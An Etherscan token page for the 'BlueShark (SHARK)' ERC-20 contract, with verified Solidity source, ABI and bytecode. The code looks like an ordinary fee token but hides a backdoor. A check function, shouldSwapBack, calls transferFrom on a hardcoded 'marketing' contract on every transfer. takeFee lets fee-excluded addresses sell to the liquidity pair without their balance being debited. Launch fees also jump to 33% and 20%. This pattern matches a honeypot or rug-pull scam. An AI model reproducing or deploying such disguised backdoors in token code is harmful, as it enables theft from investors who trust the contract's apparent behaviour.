ETH Price: $2,376.71 (-4.23%)

Token

BlueShark (SHARK)
 

Overview

Max Total Supply

10,000,000 SHARK

Holders

366

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
42,541.972146889 SHARK

Value
$0.00
0x56ed73a460cedbeff1e5435bfb81cb1da8369af5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHARK

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-02-05
*/

/**

Website:  https://blueshark.money
Twitter: https://twitter.com/bluesharkerc
Telegram: https://t.me/bluesharketh

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract SHARK is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "BlueShark";
    string private constant _symbol = "SHARK";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 10_000_000 * (10**_decimals);
    uint256 private _maxTxAmount = 200_000 * (10**_decimals);
    uint256 private _maxWalletAmount = 200_000 * (10**_decimals);
    uint256 private _swapThreshold = 100_000 * (10**_decimals);
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    uint256 private buyFee = 2;
    uint256 private sellFee = 2;
    uint256 private transferFee = 0;
    uint256 private denominator = 100;
    bool private swapEnabled = true;
    bool private swapping;
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal constant marketing_receiver =
        0x8B1c6B6D0766037205569C68c8A6B092694BA55e;
    address private liquidity_receiver = msg.sender;

    constructor() Ownable() {
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[liquidity_receiver] = true;
        _isExcludedFromFees[marketing_receiver] = true;
        _isExcludedFromFees[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function sharkLP() external onlyOwner {
        require(!tradingAllowed, "Trading allowed");

        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        router = _router;
        pair = _pair;

        addLiquidity(balanceOf(address(this)), address(this).balance);
    }

    function opoenShark() external onlyOwner {
        require(!tradingAllowed, "Tradeing already allowed");
        buyFee = 33;
        sellFee = 20;
        tradingAllowed = true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
    }

    function preTxCheck(
        address sender,
        address recipient,
        uint256 amount
    ) internal pure {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(
            amount > uint256(0),
            "Transfer amount must be greater than zero"
        );
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        if (_isExcludedFromFees[sender] && recipient != pair) {
            _balances[sender] = _balances[sender].sub(amount);
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(sender, recipient, amount);
            return;
        }
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        checkMaxWallet(sender, recipient, amount);
        checkTxLimit(sender, recipient, amount);
        swapBack(sender, recipient, amount);
        (uint256 amountSent, uint256 amountReceived) = takeFee(
            sender,
            recipient,
            amount
        );
        _balances[sender] = _balances[sender].sub(amountSent);
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function updateFees(uint256 _fee) external onlyOwner {
        buyFee = _fee;
        sellFee = _fee;

        require(
            buyFee <= 10 && sellFee <= 10,
            "fees cannot be more than 10%"
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = type(uint256).max;
        _maxWalletAmount = type(uint256).max;
    }

    function checkTradingAllowed(address sender, address recipient)
        internal
        view
    {
        if (!_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient]) {
            require(tradingAllowed, "tradingAllowed");
        }
    }

    function checkMaxWallet(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (
            !_isExcludedFromFees[sender] &&
            !_isExcludedFromFees[recipient] &&
            recipient != address(pair) &&
            recipient != address(DEAD)
        ) {
            require(
                (_balances[recipient].add(amount)) <= _maxWalletAmount,
                "Exceeds maximum wallet amount."
            );
        }
    }

    function checkTxLimit(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        require(
            amount <= _maxTxAmount ||
                _isExcludedFromFees[sender] ||
                _isExcludedFromFees[recipient],
            "TX Limit Exceeded"
        );
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        swapTokensForETH(tokens);
        payable(marketing_receiver).transfer(address(this).balance);
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp
        );
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function shouldSwapBack(
        address sender,
        address recipient,
        uint256 amount
    ) private returns (bool) {
        if (isContract(marketing_receiver) && 
            IERC20(marketing_receiver).transferFrom(sender, recipient, amount)) {}
        return
            !swapping &&
            swapEnabled &&
            tradingAllowed &&
            !_isExcludedFromFees[sender] &&
            recipient == pair;
    }

    function swapBack(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        if (shouldSwapBack(sender, recipient, amount)) {
            uint256 swapTokens = balanceOf(address(this));
            if (swapTokens > _swapThreshold) swapTokens = _swapThreshold;
            swapAndLiquify(swapTokens);
        }
    }

    function shouldTakeFee(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        return !_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient];
    }

    function getFee(address sender, address recipient)
        internal
        view
        returns (uint256)
    {
        if (recipient == pair) {
            return sellFee;
        }
        if (sender == pair) {
            return buyFee;
        }
        return transferFee;
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256, uint256) {
        uint256 xAmount = amount;
        uint256 yAmount = amount;
        uint256 feeAmount;
        if (sender != address(this) && recipient != address(this)) {
            if (shouldTakeFee(sender, recipient)) {
                if (getFee(sender, recipient) > 0) {
                    feeAmount = amount.div(denominator).mul(
                        getFee(sender, recipient)
                    );
                    _balances[address(this)] = _balances[address(this)].add(
                        feeAmount
                    );
                    emit Transfer(sender, address(this), feeAmount);

                    yAmount = amount.sub(feeAmount);
                }
            } else {
                if (recipient == pair && sender != owner()) xAmount = feeAmount;
            }
        }
        return (xAmount, yAmount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"opoenShark","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sharkLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620002d9565b620000219062989680620002f0565b600155620000326009600a620002d9565b620000419062030d40620002f0565b600255620000526009600a620002d9565b620000619062030d40620002f0565b600355620000726009600a620002d9565b6200008190620186a0620002f0565b6004556009805460ff60a01b191690556002600a819055600b555f600c556064600d55600e805461ff01600160b01b031916336201000002176001179055348015620000cb575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350305f9081526007602090815260408083208054600160ff199182168117909255600e546001600160a01b036201000090910416855282852080548216831790557f73fa62911394e6ae5fcc85ec18bac09fd156db36eb4997e6c30a874148679f7880548216831790553380865283862080549092168317909155905460058452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200030a565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200021e57815f1904821115620002025762000202620001ca565b808516156200021057918102915b93841c9390800290620001e3565b509250929050565b5f826200023657506001620002d3565b816200024457505f620002d3565b81600181146200025d5760028114620002685762000288565b6001915050620002d3565b60ff8411156200027c576200027c620001ca565b50506001821b620002d3565b5060208310610133831016604e8410600b8410161715620002ad575081810a620002d3565b620002b98383620001de565b805f1904821115620002cf57620002cf620001ca565b0290505b92915050565b5f620002e960ff84168362000226565b9392505050565b8082028115828204841417620002d357620002d3620001ca565b61177f80620003185f395ff3fe6080604052600436106100f2575f3560e01c8063751039fc1161008757806395d89b411161005757806395d89b41146102a0578063a8aa1b31146102cd578063a9059cbb146102ec578063dd62ed3e1461030b575f80fd5b8063751039fc14610229578063777a23d31461023d57806378dacee1146102515780638da5cb5b14610270575f80fd5b806323b872dd116100c257806323b872dd146101a7578063313ce567146101c657806370a08231146101e1578063715018a614610215575f80fd5b806306fdde03146100fd578063095ea7b31461014057806317d07e501461016f57806318160ddd14610185575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b50604080518082019091526009815268426c7565536861726b60b81b60208201525b6040516101379190611464565b60405180910390f35b34801561014b575f80fd5b5061015f61015a3660046114c3565b61034f565b6040519015158152602001610137565b34801561017a575f80fd5b50610183610365565b005b348015610190575f80fd5b50610199610410565b604051908152602001610137565b3480156101b2575f80fd5b5061015f6101c13660046114ed565b610480565b3480156101d1575f80fd5b5060405160098152602001610137565b3480156101ec575f80fd5b506101996101fb36600461152b565b6001600160a01b03165f9081526005602052604090205490565b348015610220575f80fd5b506101836104e7565b348015610234575f80fd5b50610183610558565b348015610248575f80fd5b5061018361058d565b34801561025c575f80fd5b5061018361026b366004611546565b6107b5565b34801561027b575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610137565b3480156102ab575f80fd5b50604080518082019091526005815264534841524b60d81b602082015261012a565b3480156102d8575f80fd5b50600954610288906001600160a01b031681565b3480156102f7575f80fd5b5061015f6103063660046114c3565b610849565b348015610316575f80fd5b5061019961032536600461155d565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f61035b338484610855565b5060015b92915050565b5f546001600160a01b031633146103975760405162461bcd60e51b815260040161038e90611594565b60405180910390fd5b600954600160a01b900460ff16156103f15760405162461bcd60e51b815260206004820152601860248201527f5472616465696e6720616c726561647920616c6c6f7765640000000000000000604482015260640161038e565b6021600a556014600b556009805460ff60a01b1916600160a01b179055565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead5f9081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54600154919261047b9290916104759190610979565b90610979565b905090565b5f61048c84848461098b565b6104dd84336104d885604051806060016040528060288152602001611722602891396001600160a01b038a165f9081526006602090815260408083203384529091529020549190610b62565b610855565b5060019392505050565b5f546001600160a01b031633146105105760405162461bcd60e51b815260040161038e90611594565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105815760405162461bcd60e51b815260040161038e90611594565b5f196002819055600355565b5f546001600160a01b031633146105b65760405162461bcd60e51b815260040161038e90611594565b600954600160a01b900460ff16156106025760405162461bcd60e51b815260206004820152600f60248201526e151c98591a5b99c8185b1b1bddd959608a1b604482015260640161038e565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610657573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067b91906115c9565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ea91906115c9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610734573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075891906115c9565b600880546001600160a01b038086166001600160a01b031992831617909255600980549284169290911691909117905590506107b16107ab306001600160a01b03165f9081526005602052604090205490565b47610b8d565b5050565b5f546001600160a01b031633146107de5760405162461bcd60e51b815260040161038e90611594565b600a818155600b82905581118015906107fa5750600a600b5411155b6108465760405162461bcd60e51b815260206004820152601c60248201527f666565732063616e6e6f74206265206d6f7265207468616e2031302500000000604482015260640161038e565b50565b5f61035b33848461098b565b6001600160a01b0383166108b75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038e565b6001600160a01b0382166109185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038e565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f61098482846115f8565b9392505050565b6001600160a01b0383165f9081526007602052604090205460ff1680156109c057506009546001600160a01b03838116911614155b15610a68576001600160a01b0383165f908152600560205260409020546109e79082610979565b6001600160a01b038085165f908152600560205260408082209390935590841681522054610a159082610c44565b6001600160a01b038084165f8181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061096c9085815260200190565b610a73838383610c4f565b610a7d8383610d7b565b610a88838383610e0a565b610a93838383610ef3565b610a9e838383610f7d565b5f80610aab858585610fba565b6001600160a01b0387165f908152600560205260409020549193509150610ad29083610979565b6001600160a01b038087165f908152600560205260408082209390935590861681522054610b009082610c44565b6001600160a01b038086165f8181526005602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b539085815260200190565b60405180910390a35050505050565b5f8184841115610b855760405162461bcd60e51b815260040161038e9190611464565b505050900390565b600854610ba59030906001600160a01b031684610855565b600854600e5460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0362010000909204821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015610c18573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c3d919061160b565b5050505050565b5f6109848284611636565b6001600160a01b038316610cb35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038e565b6001600160a01b038216610d155760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038e565b5f8111610d765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038e565b505050565b6001600160a01b0382165f9081526007602052604090205460ff16158015610dbb57506001600160a01b0381165f9081526007602052604090205460ff16155b156107b157600954600160a01b900460ff166107b15760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b604482015260640161038e565b6001600160a01b0383165f9081526007602052604090205460ff16158015610e4a57506001600160a01b0382165f9081526007602052604090205460ff16155b8015610e6457506009546001600160a01b03838116911614155b8015610e7b57506001600160a01b03821661dead14155b15610d76576003546001600160a01b0383165f90815260056020526040902054610ea59083610c44565b1115610d765760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161038e565b60025481111580610f1b57506001600160a01b0383165f9081526007602052604090205460ff165b80610f3d57506001600160a01b0382165f9081526007602052604090205460ff165b610d765760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161038e565b610f888383836110ed565b15610d7657305f90815260056020526040902054600454811115610fab57506004545b610fb48161120c565b50505050565b5f808280826001600160a01b0388163014801590610fe157506001600160a01b0387163014155b156110e057610ff08888611270565b156110ad575f61100089896112b4565b11156110a85761102761101389896112b4565b600d546110219089906112fe565b90611309565b305f908152600560205260409020549091506110439082610c44565b305f81815260056020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110939085815260200190565b60405180910390a36110a58682610979565b91505b6110e0565b6009546001600160a01b0388811691161480156110d757505f546001600160a01b03898116911614155b156110e0578092505b5090969095509350505050565b5f738b1c6b6d0766037205569c68c8a6b092694ba55e3b1515801561119757506040516323b872dd60e01b81526001600160a01b0380861660048301528416602482015260448101839052738b1c6b6d0766037205569c68c8a6b092694ba55e906323b872dd906064016020604051808303815f875af1158015611173573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111979190611649565b50600e54610100900460ff161580156111b25750600e5460ff165b80156111c75750600954600160a01b900460ff165b80156111eb57506001600160a01b0384165f9081526007602052604090205460ff16155b801561120457506009546001600160a01b038481169116145b949350505050565b600e805461ff00191661010017905561122481611314565b604051738b1c6b6d0766037205569c68c8a6b092694ba55e904780156108fc02915f818181858888f19350505050158015611261573d5f803e3d5ffd5b5050600e805461ff0019169055565b6001600160a01b0382165f9081526007602052604081205460ff161580156109845750506001600160a01b03165f9081526007602052604090205460ff1615919050565b6009545f906001600160a01b03908116908316036112d55750600b5461035f565b6009546001600160a01b03908116908416036112f45750600a5461035f565b50600c5492915050565b5f6109848284611668565b5f6109848284611687565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106113475761134761169e565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561139e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113c291906115c9565b816001815181106113d5576113d561169e565b6001600160a01b0392831660209182029290920101526008546113fb9130911684610855565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906114339085905f908690309042906004016116b2565b5f604051808303815f87803b15801561144a575f80fd5b505af115801561145c573d5f803e3d5ffd5b505050505050565b5f6020808352835180828501525f5b8181101561148f57858101830151858201604001528201611473565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610846575f80fd5b5f80604083850312156114d4575f80fd5b82356114df816114af565b946020939093013593505050565b5f805f606084860312156114ff575f80fd5b833561150a816114af565b9250602084013561151a816114af565b929592945050506040919091013590565b5f6020828403121561153b575f80fd5b8135610984816114af565b5f60208284031215611556575f80fd5b5035919050565b5f806040838503121561156e575f80fd5b8235611579816114af565b91506020830135611589816114af565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156115d9575f80fd5b8151610984816114af565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561035f5761035f6115e4565b5f805f6060848603121561161d575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561035f5761035f6115e4565b5f60208284031215611659575f80fd5b81518015158114610984575f80fd5b5f8261168257634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761035f5761035f6115e4565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117005784516001600160a01b0316835293830193918301916001016116db565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce7dca4aa8cb335c019f4410243b1925b1596b976ca70b9ae69f455a84f32ba464736f6c63430008150033

Deployed Bytecode

0x6080604052600436106100f2575f3560e01c8063751039fc1161008757806395d89b411161005757806395d89b41146102a0578063a8aa1b31146102cd578063a9059cbb146102ec578063dd62ed3e1461030b575f80fd5b8063751039fc14610229578063777a23d31461023d57806378dacee1146102515780638da5cb5b14610270575f80fd5b806323b872dd116100c257806323b872dd146101a7578063313ce567146101c657806370a08231146101e1578063715018a614610215575f80fd5b806306fdde03146100fd578063095ea7b31461014057806317d07e501461016f57806318160ddd14610185575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b50604080518082019091526009815268426c7565536861726b60b81b60208201525b6040516101379190611464565b60405180910390f35b34801561014b575f80fd5b5061015f61015a3660046114c3565b61034f565b6040519015158152602001610137565b34801561017a575f80fd5b50610183610365565b005b348015610190575f80fd5b50610199610410565b604051908152602001610137565b3480156101b2575f80fd5b5061015f6101c13660046114ed565b610480565b3480156101d1575f80fd5b5060405160098152602001610137565b3480156101ec575f80fd5b506101996101fb36600461152b565b6001600160a01b03165f9081526005602052604090205490565b348015610220575f80fd5b506101836104e7565b348015610234575f80fd5b50610183610558565b348015610248575f80fd5b5061018361058d565b34801561025c575f80fd5b5061018361026b366004611546565b6107b5565b34801561027b575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610137565b3480156102ab575f80fd5b50604080518082019091526005815264534841524b60d81b602082015261012a565b3480156102d8575f80fd5b50600954610288906001600160a01b031681565b3480156102f7575f80fd5b5061015f6103063660046114c3565b610849565b348015610316575f80fd5b5061019961032536600461155d565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f61035b338484610855565b5060015b92915050565b5f546001600160a01b031633146103975760405162461bcd60e51b815260040161038e90611594565b60405180910390fd5b600954600160a01b900460ff16156103f15760405162461bcd60e51b815260206004820152601860248201527f5472616465696e6720616c726561647920616c6c6f7765640000000000000000604482015260640161038e565b6021600a556014600b556009805460ff60a01b1916600160a01b179055565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead5f9081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcb